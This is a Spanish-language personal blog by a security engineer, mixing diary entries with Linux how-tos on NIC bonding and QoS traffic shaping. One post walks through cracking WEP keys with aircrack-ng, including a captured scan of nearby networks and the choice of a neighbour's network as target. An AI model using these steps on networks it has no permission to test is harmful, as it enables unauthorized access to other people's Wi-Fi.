Eme aquí

Publicado en General el Agosto 8, 2009 por armaged0n

Eme aquí, aquí eme. Estoy de regreso por este lugar que había olvidado a pesar que registra vivencias de cierta época de mi vida. Desde que llegué a Chile han pasado muchas cosas. En lo profesional estuve 7 meses como Ingeniero de Seguridad y actualmente 3 meses como responsable del área. Aunque la paga no es la mejor, me gusta lo que hago, sin embargo siempre busco nuevas y mejores expectativas laborales, salariales e incrementar mi capacidad profesional.

He decidido definir algunas metas cuya evidencia plasmo aquí:

  1. Aprobar el exámen CISM y certificar en diciembre de 2009.
  2. Fortalecer mis conocimientos en gestión de seguridad y hacking ético.
  3. Ser mejor hijo, padre, persona, profesional.
  4. Cuidar mi salud.
  5. Mejorar mi estilo de vida en este país.

Y… conforme pase el tiempo iré marcando cada meta alcanzada.

También, prometo escribir mas seguido en este espacio….

De regreso a la Universidad

Publicado en General el Enero 17, 2009 por armaged0n

Desde hace un tiempo he querido regresar a la Universidad y ahora se da la oportunidad de hacerlo. Durante la semana he buscado dónde estudiar. Obviamente me gustaría estudiar algo relacionado a seguridad de información, sin embargo no he visto ello como carrera universitaria, sólo como una extensión.

Lo más cercano -que me gusta- es ingeniería de redes y conectividad ya que la carrera de informática o computación por lo  menos en las universidades de Chile están orientadas al campo de la programación y eso no es lo mío.

Hace unos días fui a matricularme, después de muchas preguntas y con los papeles en la mano y dinero en el bolsillo para pagar la matrícula fui cual fans a mi primer concierto: emocionado y temprano. Luego de la primera atención me envian a admisión, me atiende una señora que muy amablemente me pregunta si soy ex-alumno o nuevo alumno a lo que respondo que estoy recien por estrenar.

Despues de las preguntas de rigor, la pantalla indica que la carrera es profesional, no universitaria y entonces entró mi descontento y enfado por la mala información que allá se brindaba. Finalmente no me inscribí, aún ando buscando dónde matricularme. Creo que finalmente tendré que llevar cursos de programación, no lo sé, espero encontrar algo que me agrade y que pueda pagar, aquí las Universidades son caras, espero que también sean buenas.

Descubriendo claves en WiFi

Publicado en GNU/Linux, InfoSec el Noviembre 27, 2008 por armaged0n

Un amigo en la empresa donde me encuentro trabajando me dió algunos tips -por no decir que me enseñó- cómo descubrir claves WiFi. El tema requiere más paciencia que ciencia así que describiré el escenario.

Lo que aquí escribo es una constancia de las pruebas que realicé, no me hago responsable de nada ni por nadie. Las pruebas las realicé sobre kubuntu pero pueden funcionar con cualquier otra distro. Hay una distro que se llama Wifislax, está basada en Slackware sin embargo los programas que se usarán serán:

  1. airmon-ng
  2. aircrack-ng
  3. airodump-ng
  4. aireplay-ng

Todos estos programas se encuentran en aircrak-ng, para más información pueden descargar y leer desde aquí http://www.aircrack-ng.org/doku.php

Los pasos para descubrir claves es muy sencillo, aquí veremos un ejemplo paso por paso:

1. Paso inicial

Se debe cambiar el estado de la tarjeta de red wifi a modo MONITOR. En mi caso la tarjeta wifi es una Intel IPW2200 identificada como eth1 así que ejecuto:

airmon-ng start eth1

Debe observarse que el mensaje en pantalla indique que se tiene el modo monitor enable.


2. Descubriendo redes cercanas a las que posiblemente podamos conectarnos

Aquí pondré a escuchar y observar todas las redes e información relevante como ser, essid, bssid, channel y lo más importante el parámetro DATA. Sólo ejecuto lo siguiente:

airodump-ng eth1

En mi caso al hacer esto, apareció esta información:

CH  1 ][ Elapsed: 4 s ][ 2008-11-26 23:31

BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:1B:FC:DD:51:2E  175        0        2    0   6  -1  WEP  WEP         <length:  0>
00:1E:58:C1:32:A9  174        2        0    0   6  54. WEP  WEP         <length:  0>
00:14:D1:37:01:F9  175        2        0    0   6  54  WEP  WEP         cra1
00:0B:B4:EE:B0:45  173        2        0    0   6  54  WEP  WEP         default
00:17:9A:62:E0:D9  176        2        0    0   6  54. WEP  WEP         Masterchecho Net
00:19:5B:DA:BA:CC  177        4        0    0   6  54. WEP  WEP         uzta
00:02:CF:95:5E:F8  176        4        0    0   6  54. WEP  WEP         Depto
00:1D:7E:44:E9:53  178        6        0    0   6  48  WEP  WEP         Seis
00:19:5B:D9:29:CE  184        5        1    0  11  54. WEP  WEP         redcasa
00:0F:CB:FC:3E:62  174        4        1    0   1  54. WEP  WEP         <length:  0>
00:02:CF:CC:9F:FA  194       13        9    4   6  54. WEP  WEP         cramos
00:1C:F0:3B:5D:81  183       13        0    0   6  54. WPA  TKIP   PSK  dlink
00:1B:FC:F1:E8:E4  185        7      120   52   6  48  WEP  WEP         jancab

BSSID              STATION            PWR   Rate  Lost  Packets  Probes

00:02:CF:CC:9F:FA  00:15:AF:7E:78:60  204  54-54    17        9

Observo que la conexión identificada con el essid jancab tiene en parámetro DATA mayor, es un buen indicio así que trabajaré con esa conexión.

3. Analizando la conexión:

Ejecutaré el siguiente comando para capturar la data sólo del enlace que deseo y almacenaré el tráfico capturado para un análisis posterior, este análisis se realizará con otro programa.

airodump-ng –ivs -w archivo_captura –channel 6 –bssid 00:1B:FC:F1:E8:E4

Es importante esperar que el campo data llegue a por lo menos 15,000. Esto puede demorar tiempo pero podemos generar tráfico inyectando paquetes con aireplay-ng. El sistema generará un archivo de nombre archivo_captura-01.ivs

4. Analizando la data captura

Ahora analizaré la data almacenada, si no logro obtener los resultados tendré que ejecutar nuevamente el paso anterior cuidando de borrar el archivo que contiene la data capturada para generar uno nuevo.

aircrack-ng archivo_captura-01.ivs

Aquí debo esperar un poco hasta que se muestre la clave o KEY. La clave se mostrará en el siguiente formato, por ejemplo: cb:c6:66:55:44

Al usar la clave obtenida se obvia los  :

Así de simple….

Santiago Parte I

Publicado en General el Octubre 5, 2008 por armaged0n

Luego de varias semanas puedo entrar y escribir. Desde la última vez varias cosas han sucedido. La primera es que me encuentro en Santiago de Chile trabajando en una importante empresa de seguridad. La aventura inicia una noche en que ví un aviso solicitando personal para el puesto que indico, sin pensarlo mucho enviémi CV ya que justo acababa de terminar un proyecto de seguridad y tenía tiempo mientras iniciaba el nuevo proyecto aprobado en otra entidad.

Me responden indicandome que deseaban entrevistarme así que respondí que en 5 días estaría en la oficina de Santiago. Viajé de Tacna hacia Arica -son 45 minutos- y casi me quedo sin viajar ya que alcanze a comprar el último pasaje disponible. Yo no me había percatado que en pocos días sería la fiesta nacional y todo mundo viajaba. Primer sintoma de buena suerte o lo que sería la racha de suerte que vendría.

Y el viaje inició, más largo que pedo de culebra, saldría de Arica a las2pm y llegaría al día siguiente a las 6pm -así dijo la persona que me atendió- pero claro la hora se prolongó y llegué a las 9pm a Santiago. La historia recién inicia….

Nuevos aires

Publicado en General el Septiembre 9, 2008 por armaged0n

Después de muchas semanas escribo en el blog. Estuve ejecutando un proyecto en un entidad crediticia cuya cultura de seguridad es bastante lejana de lo aceptable. Más parece una empresa familiar, sin embargo luego de conversar con ellos y de intentar hacerles entender que las cosas debrían mejorar en ciertos aspectos tomaron a bién las recomendaciones. Espero que finalmente de algo haya valido dichas reuniones que no eran parte de mis actividades pero de alguna manera queria contribuir con ellos.

Ahora estoy en la zona sur del país esperando tomar algunas decisiones de índole personal y también laboral. Las cosas van por buen camino, sin embargo necesito consolidar aspectos importantes para mí

Bonding en GNU/Linux

Publicado en GNU/Linux el Agosto 17, 2008 por armaged0n

Siguiendo con los mini How To toca el turno de escribir sobre bonding. Esta semana tuve la oportunidad de instalar uno y es de lo más sencillo. El escenario es el siguiente:

1. Se cuenta con un enlace -enlace 1- conectado a eth0.

2. Se cuenta con otro enlace -enlace 2- conectado a eth2.

3. Se cuenta con una tarjeta de red -eth1- que mira hacia la Lan.

4. Eth0 tiene por IP 192.168.1.252.

5. Eth2 tiene por IP 192.168.1.252.

6. Eth1 tiene por IP 192.168.3.254.

Procedimiento:

Bonding requiere de soporte en el kernel por ello si fuese necesario habrá que compilar nuestro kernel, en mi caso no ha sido necesario. Además será necesario contar con el programa ifenslave el mismo que puedo descargar -ifenslave.c- y compilar o descargar si se usa apt. Luego de contar con el soporte en el kernel y con el programa indicado ejecuto esto:

modprobe bonding mode=0 miimon=100

ifconfing bond0 192.168.1.252 netmask 255.255.255.0

ifenslave eth0 eth2

Y eso es todo.

Al ejecutarse ifconfig observaremos que bond0 posee el IP 192.168.1.252 mientras que eth0 y eth2 indicarán que se encuentran como “slave”, además se observará que la MAC de las 3 interfaces -bond0, eth0, eth2- es la misma. En mi caso la interfaz eth1 no la he tocado ya que es que mira hacia la Lan.

En el servidor tengo corriendo un VPN basado en SSL y también QoS, estos funcionan perfectamente bién. Ahora como paso final es importante modificar algunas reglas del firewall. Si antes por ejemplo tenía esta línea:

iptables -t nat -A POSTROUTING -s 192.168.3.0/24 -o eth0 -j MASQUERADE

Ahora lo que debo hacer es modificar la regla anterior cambiando eth0 por bond0. Se debe modificar las reglas que sean necesarias según el caso.

De ahora en adelante, cuando uno de los enlaces falle -corte en el servicio- nuestro servidor seguirá conectado a Internet y sus servicios estarán disponibles gracias al segundo enlace existente, por ello es importante contar con enlaces de diferentes proveedores. Bonding tiene muchos parámetros por usar, aquí sólo expliqué un beneficio a obtener. Cosas de la vida.

Priorizar tráfico – QoS

Publicado en GNU/Linux el Agosto 15, 2008 por armaged0n

El día de hoy se presentó el caso de un amigo que necesitaba priorizar el tráfico entre sus oficinas. La calidad de los enlaces ADSL que posee no es buena, la latencia es alta y en horas punta la oficina sucursal tiene problemas para conectarse a los recursos de la oficina principal.

Como el aplicativo tiene algunas deficiencias no es posible conectarse mediante el cliente y hacer una consulta SQL limpia, por ello debe usar una conexión Terminal Service, aquí el script que elaboré para priorizar el tráfico y asegurar anchos de banda mínimos:

——————————————————————————————-

root@fw.server:/# cat /root/qos_servidor
#! /bin/bash

DEVWAN=”ppp0″
DEVTUN0=”tun0″
IPT=”iptables -t mangle”
TC=”/sbin/tc”

###Gestion Ancho de Banda###################

$TC qdisc del dev $DEVWAN root
$TC qdisc del dev $DEVTUN0 root

$IPT -F
$IPT -X

$TC qdisc add dev $DEVWAN root handle 1: htb default 11
$TC qdisc add dev $DEVTUN0 root handle 1: htb default 11

$TC class add dev $DEVWAN parent 1: classid 1:1 htb rate 150kbit ceil 150kbit
$TC class add dev $DEVTUN0 parent 1: classid 1:1 htb rate 100kbit ceil 100kbit

#Banda WAN
$TC class add dev $DEVWAN parent 1:1 classid 1:10 htb rate 110kbit ceil 150kbit prio 1
$TC qdisc add dev $DEVWAN parent 1:10 handle 10: sfq perturb 10
$TC filter add dev $DEVWAN parent 1:0 protocol ip prio 1 handle 1 fw classid 1:10

$TC class add dev $DEVWAN parent 1:1 classid 1:11 htb rate 40kbit ceil 150kbit prio 2
$TC qdisc add dev $DEVWAN parent 1:11 handle 11: sfq perturb 10
$TC filter add dev $DEVWAN parent 1:0 protocol ip prio 2 handle 2 fw classid 1:11

#Banda tun0
$TC class add dev $DEVTUN0 parent 1:1 classid 1:10 htb rate 70kbit ceil 100kbit prio 1
$TC qdisc add dev $DEVTUN0 parent 1:10 handle 10: sfq perturb 10
$TC filter add dev $DEVTUN0 parent 1:0 protocol ip prio 1 handle 1 fw classid 1:10

$TC class add dev $DEVTUN0 parent 1:1 classid 1:11 htb rate 30kbit ceil 100kbit prio 2
$TC qdisc add dev $DEVTUN0 parent 1:11 handle 11: sfq perturb 10
$TC filter add dev $DEVTUN0 parent 1:0 protocol ip prio 2 handle 2 fw classid 1:11

#Conexiones iniciales
$IPT -A PREROUTING -m tos –tos Minimize-Delay -j TOS –set-tos 0×10
$IPT -A PREROUTING -m tos –tos Minimize-Delay -j RETURN
$IPT -A PREROUTING -m tos –tos Minimize-Cost -j TOS –set-tos 0×02
$IPT -A PREROUTING -m tos –tos Minimize-Cost -j RETURN
$IPT -A PREROUTING -m tos –tos Maximize-Throughput -j TOS –set-tos 0×08
$IPT -A PREROUTING -m tos –tos Maximize-Throughput -j RETURN

$IPT -A OUTPUT -m tos –tos Minimize-Delay -j TOS –set-tos 0×10
$IPT -A OUTPUT -m tos –tos Minimize-Delay -j RETURN
$IPT -A OUTPUT -m tos –tos Minimize-Cost -j TOS –set-tos 0×02
$IPT -A OUTPUT -m tos –tos Minimize-Cost -j RETURN
$IPT -A OUTPUT -m tos –tos Maximize-Throughput -j TOS –set-tos 0×08
$IPT -A OUTPUT -m tos –tos Maximize-Throughput -j RETURN

$IPT -A PREROUTING -p tcp –tcp-flag SYN,ACK,RST SYN -j TOS –set-tos 0×10
$IPT -A PREROUTING -p tcp –tcp-flag SYN,ACK,RST SYN -j RETURN
$IPT -A PREROUTING -p tcp –tcp-flag SYN,ACK,RST SYN -j MARK –set-mark 1
$IPT -A PREROUTING -p tcp –tcp-flag SYN,ACK,RST SYN -j RETURN

$IPT -A OUTPUT -p tcp –tcp-flag SYN,ACK,RST SYN -j TOS –set-tos 0×10
$IPT -A OUTPUT -p tcp –tcp-flag SYN,ACK,RST SYN -j RETURN
$IPT -A OUTPUT -p tcp –tcp-flag SYN,ACK,RST SYN -j MARK –set-mark 1
$IPT -A OUTPUT -p tcp –tcp-flag SYN,ACK,RST SYN -j RETURN

#SSH
$IPT -A PREROUTING -p tcp –dport 22 -j TOS –set-tos 0×10
$IPT -A PREROUTING -p tcp –dport 22 -j RETURN
$IPT -A PREROUTING -p tcp –dport 22 -j MARK –set-mark 1
$IPT -A PREROUTING -p tcp –dport 22 -j RETURN

$IPT -A OUTPUT -p tcp –sport 22 -j TOS –set-tos 0×10
$IPT -A OUTPUT -p tcp –sport 22 -j RETURN
$IPT -A OUTPUT -p tcp –sport 22 -j MARK –set-mark 1
$IPT -A OUTPUT -p tcp –sport 22 -j RETURN

$IPT -A OUTPUT -p tcp –dport 22 -j TOS –set-tos 0×10
$IPT -A OUTPUT -p tcp –dport 22 -j RETURN
$IPT -A OUTPUT -p tcp –dport 22 -j MARK –set-mark 1
$IPT -A OUTPUT -p tcp –dport 22 -j RETURN

#TS
$IPT -A PREROUTING -p tcp –sport 3389 -j TOS –set-tos 0×10
$IPT -A PREROUTING -p tcp –sport 3389 -j RETURN
$IPT -A PREROUTING -p tcp –sport 3389 -j MARK –set-mark 1
$IPT -A PREROUTING -p tcp –sport 3389 -j RETURN

$IPT -A PREROUTING -p tcp –dport 3389 -j TOS –set-tos 0×10
$IPT -A PREROUTING -p tcp –dport 3389 -j RETURN
$IPT -A PREROUTING -p tcp –dport 3389 -j MARK –set-mark 1
$IPT -A PREROUTING -p tcp –dport 3389 -j RETURN

#NetBios
$IPT -A PREROUTING -p tcp –sport 445 -j TOS –set-tos 0×10
$IPT -A PREROUTING -p tcp –sport 445 -j RETURN
$IPT -A PREROUTING -p tcp –sport 445 -j RETURN
$IPT -A PREROUTING -p tcp –sport 445 -j MARK –set-mark 1
$IPT -A PREROUTING -p tcp –sport 445 -j RETURN

$IPT -A PREROUTING -p tcp –dport 445 -j TOS –set-tos 0×10
$IPT -A PREROUTING -p tcp –dport 445 -j RETURN
$IPT -A PREROUTING -p tcp –dport 445 -j MARK –set-mark 1
$IPT -A PREROUTING -p tcp –dport 445 -j RETURN

#ICMP
$IPT -A PREROUTING -p icmp -j TOS –set-tos 0×10
$IPT -A PREROUTING -p icmp -j RETURN
$IPT -A PREROUTING -p icmp -j MARK –set-mark 1
$IPT -A PREROUTING -p icmp -j RETURN

$IPT -A OUTPUT -p icmp -j TOS –set-tos 0×10
$IPT -A OUTPUT -p icmp -j RETURN
$IPT -A OUTPUT -p icmp -j MARK –set-mark 1
$IPT -A OUTPUT -p icmp -j RETURN

#DNS
$IPT -A PREROUTING -p udp –dport 53 -j TOS –set-tos 0×10
$IPT -A PREROUTING -p udp –dport 53 -j RETURN
$IPT -A PREROUTING -p udp –dport 53 -j MARK –set-mark 1
$IPT -A PREROUTING -p udp –dport 53 -j RETURN

$IPT -A OUTPUT -p udp –dport 53 -j TOS –set-tos 0×10
$IPT -A OUTPUT -p udp –dport 53 -j MARK –set-mark 1
$IPT -A OUTPUT -p udp –dport 53 -j RETURN

———————————————————————————————-

Como puede verse, se posee una interfaz ppp0 -enlace ADSL-, una interfaz tun0 que interconecta ambas oficinas.

Como dato importante se observa que el ancho de banda de subida declarado sobre ppp0 es de 150Kbps, como sobre la misma interfaz se crea la interfaz virtual tun0 aquí genero otra banda y la acoto a 100Kbps. Genero dos bandas, la banda 10 con prioridad máxima -1- y  la banda 11 con prioridad 2 y dónde pasará todo lo que no se encuentre declarado en el script.

La priorización de tráfico en este caso es para conexiones 3389 -terminal service, icmp, dns- sé que hay algunas lineas demás -innecesarias- pero no interfieren con lo que se desea lograr. Otro dato importante es que en la oficina principal también inserté un script similar para asegurar la priorización en ambos lados.

El script sirve para muchos casos, sólo se debe modificar lo necesario y si hay alguna duda por parte del alguien que lea esto pregunte o lea en google.

Sin querer queriendo

Publicado en General el Agosto 7, 2008 por armaged0n

Hoy observo que el registro de ingresos al blog indica 500 visitas, vaya, interesante cifra -no se si buena o mala-  Observo que la mayoría de visitas están relacionadas a los dos artículos de VPN que publiqué hace un tiempo, así que asumo que de esas personas algunas deben ser estudiantes, otras deben trabajar en tecnología y el resto de personas se equivocaron de blog.

El tiempo ha pasado volando, falta poco para cumplir un año más de vida y también para empezar a preocuparme de cosas nuevas.

El miedo a ser evaluado

Publicado en General, InfoSec el Agosto 7, 2008 por armaged0n

Como una de las últimas actividades en la implantación del proyecto que este sábado termina sugerí a gerencia se realizara la entrega de los diversos documentos al personal correspondiente, ello para asegurar que durante las pruebas del plan de continuidad de negocio el personal relevante y operativo responsable de ejecutar las actividades de recuperación sepan que hacer y qué políticas considerar dependiendo del evento.

Además propuse realizar un taller previo dirigido al personal con roles relevantes para asegurar el entendimiento y compromiso, con el personal operativo las charlas se realizaron ya hace un tiempo. El tema es que luego de la sugerencia todo estaba bién hasta que dije la palabra mágica -evaluación-. Entonces empezaron a surgir las objeciones por parte de algunos, comentarios como “La evaluación debe ser en otro momento”, “Hay que darle la seriedad del caso…” entre otras que no recuerdo.

Para dejar clara mi posición ya que en ese momento no se trataba de una sugerencia dije: “Bueno, que les parece si luego de la charla al personal relevante, luego de absolver las dudas y consultas del caso les paso una hoja con algunas preguntas, necesito verificar que han entendido”. La respuesta fue evidente, dijeron “SI”.

Yo hasta ahora no entiendo por qué la gente tiene miedo de ser evaluada, la evaluación para mí refleja entendimiento, conocimiento, además es un punto de medición para muchas cosas. Lo gracioso en la historia es que el titulo del papel a pasar luego de la charla debe ser: “Entendimiento de la charla” pero nunca usar la palabra evaluación.

Casos de la vida real…

Tu papi, yo soy

Publicado en General el Agosto 5, 2008 por armaged0n

Común para mí de madrugada despertar es. Cual reloj que marca la hora oficial de la marina de guerra despierto a las 2.30 am y puedo quedarme despierto hasta las 5 am. Ahora, si considero que duermo a eso de las 12 de la noche y me levanto a las 6.15 am las horas de sueño no muchas son. Duermo en promedio 04 horas y eso al parecer es suficiente ya que transcurro el día con normalidad, mi rendimiento no decae.

Anoche haciendo zapping ví una secuencia del Ultimate Fighting Championship que se llevó a cabo en Inglaterra, para variar la secuencia estuvo aburrida ya que los contrincantes cual muchachos de colegio solo mostraron unas cuantas tumbadas, barridas y sangraron en minúsculas proporciones, así no juega.

Sin embargo lo que salvó la velada fue ver una de las peliculas de mi saga favorita, Star Wars. Para mí la mejor secuencia de la trama es cuando Lord Vader dice: “Luke, yo soy tu papi”. Ante tal confesión la cara de Luke refleja algo como si pensara: “Mostro de mierda tú eres mi viejo? -y luego grita- Noooooo”, bueno uno nunca sabe pero la expresión reflejaba algo de ello.

Imagino que esta noche no será distinta a las demás, así que esperaré a despertar para el zapping de rigor. Esto del insomnio durará hasta que aquello que ronda mi mente salga -seria bueno que fuese alguna preocupación, pero no lo es- en fin.